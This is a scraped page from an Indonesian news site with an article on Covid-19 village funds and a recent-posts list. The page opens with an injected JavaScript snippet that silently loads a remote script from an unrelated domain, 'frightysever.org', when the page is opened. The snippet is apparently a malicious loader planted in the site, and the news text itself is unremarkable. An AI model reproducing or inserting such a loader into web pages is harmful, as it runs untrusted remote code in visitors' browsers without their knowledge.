(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Diumumkan Lewat Youtube BNPB, Dana Desa Siap Dipakai untuk Cegah Corona


KANALKALIMANTAN.COM, JAKARTA – Upaya mengatasi pandemi virus corona Covid-19 yang terjadi di Indonesia terus dilakukan. Salah satunya adalah penggunaan dana desa untuk penanganan pandemi yang telah merenggut puluhan korban jiwa.

Dirjen Pembangunan dan Pemberdayaan Masyarakat Desa (Dirjen PPMD) Taufik Madjid mengatakan, Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi telah mengeluarkan edaran ihwal pengunaan dana desa. Aturan tersebut tertuang dalam Permen Desa Nomor 11 tahun 2019 tentang pedoman dana desa di bidang pelayanan sosial.

“Secara eksplisit dana desa bisa digunakan untuk langkah pencegahan di bidang pelayanan sosial dasar khususnya bidang pelayanan masyarakat desa, seperti mengkampanyekan pola hidup sehat dan bersih ke desa,” kata Taufiq dalam keterangannya di akun Youtube BNPB, Sabtu (21/3/2020).

Taufiq mengklaim, peraturan tersebut memberi peluang bagi desa tertentu untuk menggunakan dana desa tersebut. Diharapkan, dana tersebut mampu mengurai penyebaran Covid-19 lebih meluas di suatu daerah atau desa.

“Artinya permendes telah memberi peluang ke desa untuk bisa menggunaakan dana desa untuk menjaga dan mencegah, aspek khususnya dalam mencegah perluasan Covid-19,” sambungnya.

Taufiq menjelaskan, bagi desa yang menjadi lokasi terdampak Covid-19, diimbau untuk tetap mengikuti protokol yang sudah ditetapkan oleh pemerintah. Dalam hal ini, dana desa juga bisa digunakan untuk pencegahan dan penanganan Covid-19.

“Tiap pemerintah desa harus mempedomani dan mengikuti instruksi pelaksana gugus tugas penanganan covid di daerah. Dalam hal ini kepala daerah, dalam hal ini menyesuaikan dengan tingkat eskalasi yang ada di desa artinya bahwa dana desa bisa dipakai untuk pencegahan sekaligus penanganan Covid-19 di desa,” papar Taufiq.

Untuk itu, Taufiq meminta pada perangkat desa, dalam hal ini kepala desa maupun tokoh masyarakat untuk melakukan langkah pencegahan. Tentunya, tetap berpedoman dengan protokol yang ditetapkan oleh pemerintah.

“Oleh karena itu kepada kepala desa dan badan pemusyawaran desa, perangakt desa dan tokoh masyarakat untuk melakukan langkah persiapan dan antisipasi untuk mempedomani gugus tugas di daerah,” pungkasnya. (suara.com)

Reporter : suara.com
Editor : kk


Al Ghifari

Recent Posts

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

1 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

7 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

7 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

10 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

14 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

22 jam ago

This website uses cookies.